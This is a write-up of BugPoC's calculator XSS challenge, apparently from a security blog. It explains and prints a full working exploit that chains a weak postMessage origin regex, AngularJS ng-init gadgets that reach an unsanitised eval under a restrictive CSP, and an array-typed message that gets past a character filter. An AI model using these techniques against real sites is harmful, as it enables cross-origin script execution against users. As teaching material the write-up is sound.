BugPoc's XSS challenge (calc.buggywebsite.com) writeup


This is a write-up for an XSS Challenge by `BugPoC` that popped out on Twitter recently (link)

This is a website of calculator app designed by angular js.
Eval js by using gadget inside the script (which is the functionality of the caculator) is the best part in this challenge.

Buggy Calculator

A Website running at http://calc.buggywebsite.com/. It's a complete client side application. Our goal is to popup alert(domain).
Functionality is simple like a calculator, on button clicks it is constructing the equation(string), and finally eval that equation on calculate.

Observation - 1

By reading the source code
The app is using iframe(frame.html) to display the result by using `postMessage` communication.
<iframe name="theiframe" style="height:65px;width:100%; left:-100px; margin-top:-05px;margin-bottom:-30px;" frameBorder="0" src="frame.html"></iframe>
function sendEquation(msg){
	theiframe.postMessage(msg);
}
Whereas in frame.html it is directly injecting that postMessage data into the HTML (document.body.innerHTML=msg) with a origin check.
window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {

	// verify sender is trusted
	if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
		return
	}
	
	// display message 
	msg = event.data;
	if (msg == 'off') {
		document.body.style.color = '#95A799';
	} else if (msg == 'on') {
		document.body.style.color = 'black';
	} else if (!msg.includes("'") && !msg.includes("&")) {
		document.body.innerHTML=msg;
	}
}
we can achieve HTML injection if we can bypass the origin check.
if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
Instead of equality it is checking the origin is started with `http://calc.buggywebsite.com`, So we can continue it as `http://calc.buggywebsite.com.evil.com` and get control over it.

Now we achieved HTML injection on calc.buggywebsite.com
<!DOCTYPE html>
<html>
<body>
    <iframe src="http://calc.buggywebsite.com/frame.html" name="iframe1" onload="runExpliot()"></iframe>

    <script type="text/javascript">
        function runExpliot(){
            let win = window.frames.iframe1;
            payload = "<h1>HTML InjectionM/h1>";
            win.postMessage(payload, "*");
        }
    </script>
</body>
</html>


Observation - 2

But here comes the main issue.
We can inject a script tag, but we can't execute it as the HTML is injected through `innerHTML`
There is way
<img src=x onerror=alert(1)> or 
<iframe srcdoc='<script>alert(1)</script>'>
But inline execution is blocked through the CSP :(
CSP : script-src 'unsafe-eval' 'self'
we can only include self scripts, use eval in script.

Then gone through the srcipt.js to find any gadgets in it and found one.
<button ng-click="calculate()" ng-disabled="isOff">=</button>
$scope.calculate = function() {
    $scope.equation = eval($scope.equation).toString();
    sendEquation($scope.equation);
}
Evaluating the equation directly with out any sanitising.
Then gone through, how the equation in build up.
<button ng-repeat="i in [7,8,9]" ng-click="updateCurrNum(i)" ng-disabled="isOff">{{ i }}</button>
$scope.updateCurrNum = function(num) {
    if($scope.isInit){
        $scope.equation = num.toString();
        $scope.isInit = false;
    } else 
        $scope.equation += num;
    sendEquation($scope.equation);
}
num value might be anything , it might be alert(1) there is no check implemented to make sure it is a digit or not.

Through the HTML injection we can use that to achieve XSS like
<button ng-click="updateCurrNum('alert(document.domain);1')">OFF</button>
<button ng-click="calculate()">OFF</button>
But it need the user interaction click, so searched for the directive components in ng in the angular js docs and found ng-init through which we can call the angular js functions automatically(on initiation).

Final HTML payload to get alert(domain)
<div ng-app="Calculator" ng-cloak>
    <div ng-controller="ArthmeticController" class="container">
        <button ng-init="updateCurrNum('alert(document.domain);1')">OFF</button>
        <button ng-init="calculate()">OFF</button>
    </div>
    <script src="angular.min.js"></script>
    <script src="jquery.min.js"></script>
    <script src="script.js"></script>
    <iframe name=theiframe></iframe>
</div>
We need those scripts for the gadget, and CSP allows self scripts so no problem.
As the script try to access the iframe object (theiframe), it's rises as error, to avoid it <iframe name=theiframe></iframe>.

We have to inject that HTML into calc.buggywebsite.com/frame.html through postMessage.
But the payload contains script tags, script does loads through innerHTML injection, but we can use iframe srcdoc.
<iframe srcdoc="&#x3C;div ng-app=&#x22;Calculator&#x22; ng-cloak&#x3E;&#x3C;div ng-controller=&#x22;ArthmeticController&#x22; class=&#x22;container&#x22;&#x3E;&#x3C;button ng-init=&#x22;updateCurrNum(&#x27;alert(document.domain);1&#x27;)&#x22;&#x3E;OFF&#x3C;/button&#x3E;&#x3C;button ng-init=&#x22;calculate()&#x22;&#x3E;OFF&#x3C;/button&#x3E;&#x3C;/div&#x3E;&#x3C;script src=&#x22;angular.min.js&#x22;&#x3E;&#x3C;/script&#x3E;&#x3C;script src=&#x22;jquery.min.js&#x22;&#x3E;&#x3C;/script&#x3E;&#x3C;script src=&#x22;script.js&#x22;&#x3E;&#x3C;/script&#x3E;&#x3C;iframe name=theiframe&#x3E;&#x3C;/iframe&#x3E;&#x3C;/div&#x3E;"></iframe>
Injecting that payload doesn't worked. but why :(


Observation - 3

There is check in frame.js before injecting the HTML
At first it doesn't make any sense,so leaved. But now it blocking the payload.
} else if (!msg.includes("'") && !msg.includes("&")) {
    document.body.innerHTML=msg;
}
First tried my best to avoid & and ' in the payload, but no use.
After that tried to bypass the check. as it is a string it is checking char by char, what if it a list.
we know that, through postMessage we can send list, object, string.
`["asdf"].toString() => "asdf"` so it doesn't make any difference, through which the check was bypassed


Finally

The payload is (this page must be on calc.buggywebsite.com.<domain.com> for origin check bypass)
<!DOCTYPE html>
<html>
<body>
    <iframe src="http://calc.buggywebsite.com/frame.html" name="iframe1" onload="runExpliot()"></iframe>

    <script type="text/javascript">
        function runExpliot(){
            let win = window.frames.iframe1;
            payload = ['<iframe srcdoc="&#x3C;div ng-app=&#x22;Calculator&#x22; ng-cloak&#x3E;&#x3C;div ng-controller=&#x22;ArthmeticController&#x22; class=&#x22;container&#x22;&#x3E;&#x3C;button ng-init=&#x22;updateCurrNum(&#x27;alert(document.domain);1&#x27;)&#x22;&#x3E;OFF&#x3C;/button&#x3E;&#x3C;button ng-init=&#x22;calculate()&#x22;&#x3E;OFF&#x3C;/button&#x3E;&#x3C;/div&#x3E;&#x3C;script src=&#x22;angular.min.js&#x22;&#x3E;&#x3C;/script&#x3E;&#x3C;script src=&#x22;jquery.min.js&#x22;&#x3E;&#x3C;/script&#x3E;&#x3C;script src=&#x22;script.js&#x22;&#x3E;&#x3C;/script&#x3E;&#x3C;iframe name=theiframe&#x3E;&#x3C;/iframe&#x3E;&#x3C;/div&#x3E;"></iframe>'];
            win.postMessage(payload, "*");
        }
    </script>
</body>
</html>


Comments

Popular posts from this blog

Confidence CTF 2020 `Cat web` challenge writeup

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups